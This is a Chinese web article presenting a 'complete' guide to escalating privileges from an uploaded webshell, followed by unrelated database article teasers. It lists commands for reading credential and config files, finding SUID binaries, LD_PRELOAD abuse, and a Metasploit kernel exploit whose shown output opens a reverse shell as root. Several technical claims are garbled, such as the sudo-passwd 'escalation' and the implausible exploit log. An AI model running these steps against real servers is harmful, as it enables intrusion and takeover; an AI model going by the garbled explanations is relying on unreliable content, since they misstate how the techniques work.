超全的webshell权限提升方法

yizhihongxing

下面我来详细讲解“超全的webshell权限提升方法”的完整攻略。

什么是WebShell

在开始讲解 WebShell 权限提升的攻略之前,先简要介绍一下 WebShell。WebShell 是一种由黑客通过 Web 服务器的漏洞等方式上传到 Web 服务器中的一种脚本文件,可以通过 Web 服务器 HTTP 服务对外发布,并提供给黑客查看、控制 Web 服务器的操作。常用的 WebShell 有冰蝎、菜刀、中国菜刀等。

WebShell 权限提升攻略

WebShell 是否有权限提升操作,取决于 Web 服务器当前用户对文件和操作功能的权限。如果当前权限较低,可以进行权限提升操作。

以下是 WebShell 权限提升的攻略:

1. 查找敏感文件

在 Web 根目录下查找敏感文件,如 config.php,database.php,passwd,.htpasswd 等文件,可以通过打开文件获取数据库、系统配置信息等敏感信息。

ls -al /var/www/html
cat /var/www/html/config.php

2. 查找敏感目录

在 Web 根目录下查找敏感目录,如 /etc,/proc, /var/www/html 的上层目录等,可以通过访问目录获取敏感信息。

cd /var/www
ls -al
cat /etc/passwd

3. 利用 SUID 提权

执行 SUID 提权命令,可以将普通用户提权至管理员或 root 用户。

sudo -u root /usr/local/bin/command

4. 利用内核漏洞提权

通过利用 Web 服务器上的内核漏洞提权,可以提权至 root 用户。

msf > use exploit/linux/local/udev_netlink

5. 利用 LD_PRELOAD 提权

利用 LD_PRELOAD 提权可以用来绕过某一些权限策略。

export LD_PRELOAD=/tmp/root.so

6. 利用 suid bit 文件提权

在 Web 服务器中查找 suid bit 文件,可以通过 suid bit 文件底层实现,让普通用户进程以 root 用户身份运行。

find / -perm -4000 -type f 2>/dev/null

示例说明

以下是本文的两个示例说明:

示例一:利用 SUID 提权

$ ls -lsa /usr/bin/passwd
-rwsr-xr-x 1 root root 75368 2014-05-11 00:46 /usr/bin/passwd

$ id
uid=1000(web) gid=1000(web) groups=1000(web)

$ sudo -u root /usr/bin/passwd
[sudo] password for web:
root的密码:
passwd: 我们只支持真正的加密密码。
请输入访问模块的密码:
输入新的UNIX口令:
重新输入新的UNIX口令:
passwd: 密码成功更改

在此示例中,我们利用 /usr/bin/passwd 的 SUID 特性,让普通的 Web 服务器用户提升至 root 用户,从而执行 root 用户的操作。

示例二:利用内核漏洞提权

msf > use exploit/linux/local/udev_netlink
msf exploit(linux/local/udev_netlink) > set SESSION 1
SESSION => 1
msf exploit(linux/local/udev_netlink) > exploit

[*] Started reverse TCP double handler on 192.168.1.102:4444
[*] Udev Netlink Privilege Escalation Attack
[*] Enabling SELinux support ...
[*] Building netlink message ...
[*] Send netlink message ...
[*] Waiting for privileged udev trigger ...
[*] Sleeping for 2 seconds to wait for privileged udev ...
[*] Grabbing udev DBus service name from the system bus ...
[*] Successfully got udev DBus service name: org.freedesktop.UDisks2
[*] Sending DBus command for privilege escalation ...
[*] Got a context!
[*] Opened payload channel: 0
[*] Command shell session 3 opened (192.168.1.102:4444 -> 192.168.1.105:58667) at 2021-07-26 09:55:35 -0700

id
uid=0(root) gid=0(root) 组=0(root)

在此示例中,我们使用 Metasploit 框架,使用内核漏洞提权进行权限提升攻击,最终成功提权至 root 用户。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:超全的webshell权限提升方法 - Python技术站

(0)
上一篇 2023年5月21日
下一篇 2023年5月21日

相关文章

  • MariaDB10.5.6的安装与使用详解

    MariaDB10.5.6的安装与使用详解 简介 MariaDB是一个流行的关系型数据库管理系统,它是MySQL的一个分支,具有兼容性和性能方面的优势。在这个教程中,我们将讲解MariaDB10.5.6的安装和使用,以及如何创建和管理MariaDB数据库。 安装MariaDB10.5.6 Ubuntu系统上安装MariaDB10.5.6 要在Ubuntu系统…

    database 2023年5月22日
    00
  • mysql中批量插入数据(1万、10万、100万、1000万、1亿级别)

    MySQL中批量插入大量数据时需要注意优化插入速度和性能。以下是针对不同级别数据量的批量插入攻略。 1.万级别数据插入 如果插入的数据量在万级别以下,直接使用SQL语句插入即可。 示例: INSERT INTO tablename (col1, col2) VALUES (value1, value2), (value3, value4); 2.十万级别数据…

    database 2023年5月19日
    00
  • 解析MySQL8.0新特性——事务性数据字典与原子DDL

    解析MySQL8.0新特性——事务性数据字典与原子DDL 背景 在MySQL 8.0版本中,引入了事务性数据字典和原子DDL。这两个特性对于MySQL数据库的可靠性和性能有着很大的影响。在本文中,我们将详细讲解这两个新特性并提供示例说明。 事务性数据字典 事务性数据字典是MySQL8.0引入的一个新特性。事务性数据字典将MySQL系统元数据信息存储在一个独立…

    database 2023年5月22日
    00
  • java 执行redis的部分方法

    @Autowired private RedisTemplate<String, Object> redisTemplate; public void setRedisTemplate(RedisTemplate<String, Object> redisTemplate) { this.redisTemplate = redisTe…

    Redis 2023年4月12日
    00
  • MySQL中的流式查询及游标查询方式

    MySQL中的流式查询(Streaming Queries)和游标查询(Cursor Queries)是在处理超大数据集时非常有用的查询方式。它们可以逐行、逐块(chunk)地处理数据,节约内存开销和减少运行时间。下面将详细介绍如何使用它们。 流式查询 什么是流式查询? 流式查询是在MySQL 5.6版本后引入的一种查询方式。它通过分批次将查询结果逐行返回给…

    database 2023年5月22日
    00
  • SQL Server 存储过程的分页

    下面我将详细讲解SQL Server存储过程的分页完整攻略。 什么是存储过程分页? 存储过程是SQL Server中的一种数据处理方式,它是一段预编译的SQL代码,可被多次执行,用于完成特定的数据处理任务。存储过程的分页,就是在查询数据时对结果进行分页操作,将数据按照一定的规则分成若干页,以便于用户浏览和查询。 存储过程分页的实现 步骤一:创建存储过程 我们…

    database 2023年5月21日
    00
  • 通过MySQL优化Discuz!的热帖翻页的技巧

    通过MySQL优化Discuz!热帖翻页的技巧可以显著提高网站访问速度和用户体验。下面是一些可能的优化技巧: 1. 合理设置MySQL的缓存 Discuz!使用MySQL作为后台数据库,可以通过调整MySQL的缓存策略来优化翻页性能。具体方法包括: 适当增加query_cache_size参数的值,以缓存查询结果。 设置key_buffer_size参数的值…

    database 2023年5月22日
    00
  • SQL SERVER数据库重建索引的方法

    下面是“SQL SERVER数据库重建索引的方法”的完整攻略: 什么是索引 在数据库中,索引可以提高查询速度和对数据库的访问速度。索引是一种特殊的数据结构,它存储了表中一列或多列的值,并根据这些值进行排序。在查询时,数据库引擎可以利用索引快速定位所需的行,从而加快查询速度。 为什么要重建索引 随着数据的不断增加和更新,原有的索引可能会失去优势。因为随着不断的…

    database 2023年5月19日
    00
合作推广
合作推广
分享本页
返回顶部